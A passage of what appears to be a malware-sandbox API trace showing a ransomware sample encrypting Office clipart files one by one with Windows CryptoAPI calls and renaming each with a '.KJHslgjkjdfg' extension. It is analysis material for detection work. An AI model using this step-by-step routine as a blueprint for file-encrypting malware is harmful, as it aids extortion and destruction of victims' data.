liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.906] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.906] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.906] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.906] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.906] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xb7c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xb7c, lpOverlapped=0x0) returned 1 [0189.906] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb80, dwBufLen=0xb80 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb80) returned 1 [0189.906] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.906] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xb80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xb80, lpOverlapped=0x0) returned 1 [0189.906] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.906] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xc54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.906] SetEndOfFile (hFile=0x114) returned 1 [0189.909] GetProcessHeap () returned 0x2a0000 [0189.909] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.909] GetProcessHeap () returned 0x2a0000 [0189.909] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.909] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00390_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00390_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00390_.wmf.kjhslgjkjdfg")) returned 1 [0189.912] CloseHandle (hObject=0x114) returned 1 [0189.912] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22c49b00, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22c49b00, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0x828, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00391_.WMF", cAlternateFileName="")) returned 1 [0189.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00391_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00391_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.917] GetProcessHeap () returned 0x2a0000 [0189.917] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.917] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.917] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.917] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.920] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.920] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.920] GetProcessHeap () returned 0x2a0000 [0189.920] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.920] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.920] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.920] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.920] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.920] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.920] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.920] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.920] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.921] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.921] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.921] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.921] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x828, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x828, lpOverlapped=0x0) returned 1 [0189.921] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x830, dwBufLen=0x830 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x830) returned 1 [0189.921] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.921] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x830, lpOverlapped=0x0) returned 1 [0189.921] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.921] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x904, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.921] SetEndOfFile (hFile=0x114) returned 1 [0189.924] GetProcessHeap () returned 0x2a0000 [0189.924] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.924] GetProcessHeap () returned 0x2a0000 [0189.924] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.924] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00391_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00391_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00391_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00391_.wmf.kjhslgjkjdfg")) returned 1 [0189.926] CloseHandle (hObject=0x114) returned 1 [0189.926] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59e57d00, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x59e57d00, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0x704e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00416_.WMF", cAlternateFileName="")) returned 1 [0189.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00416_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00416_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.928] GetProcessHeap () returned 0x2a0000 [0189.928] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.928] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.928] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.928] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0189.930] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.930] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.930] GetProcessHeap () returned 0x2a0000 [0189.930] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.930] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.930] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.930] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.931] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.931] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.931] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.931] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.931] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.931] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.931] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.931] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.931] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x704e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x704e, lpOverlapped=0x0) returned 1 [0189.932] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7050, dwBufLen=0x7050 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7050) returned 1 [0189.933] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.933] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7050, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7050, lpOverlapped=0x0) returned 1 [0189.933] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.933] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7124, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.933] SetEndOfFile (hFile=0x114) returned 1 [0189.936] GetProcessHeap () returned 0x2a0000 [0189.936] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.936] GetProcessHeap () returned 0x2a0000 [0189.936] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.936] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00416_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00416_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00416_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00416_.wmf.kjhslgjkjdfg")) returned 1 [0189.938] CloseHandle (hObject=0x114) returned 1 [0189.938] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36491500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36491500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x143c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00423_.WMF", cAlternateFileName="")) returned 1 [0189.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00423_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00423_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.939] GetProcessHeap () returned 0x2a0000 [0189.939] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.939] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.939] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.940] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.942] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.942] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.942] GetProcessHeap () returned 0x2a0000 [0189.942] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.942] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.942] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.942] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.942] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.942] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.942] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.943] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.943] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.943] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.943] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.943] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.943] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x143c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x143c, lpOverlapped=0x0) returned 1 [0189.944] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1440, dwBufLen=0x1440 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1440) returned 1 [0189.944] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.944] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1440, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1440, lpOverlapped=0x0) returned 1 [0189.944] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.944] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1514, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.944] SetEndOfFile (hFile=0x114) returned 1 [0189.947] GetProcessHeap () returned 0x2a0000 [0189.947] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.947] GetProcessHeap () returned 0x2a0000 [0189.947] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.947] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00423_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00423_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00423_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00423_.wmf.kjhslgjkjdfg")) returned 1 [0189.949] CloseHandle (hObject=0x114) returned 1 [0189.949] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ef4f00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79ef4f00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1544, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00444_.WMF", cAlternateFileName="")) returned 1 [0189.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00444_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.950] GetProcessHeap () returned 0x2a0000 [0189.950] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.950] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.950] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.950] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0189.953] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.953] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.953] GetProcessHeap () returned 0x2a0000 [0189.953] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.953] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.953] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.953] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.953] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.953] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.953] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.953] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.953] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.954] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.954] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.954] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.954] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1544, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1544, lpOverlapped=0x0) returned 1 [0189.955] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1550, dwBufLen=0x1550 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1550) returned 1 [0189.955] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.955] WriteFile (in: 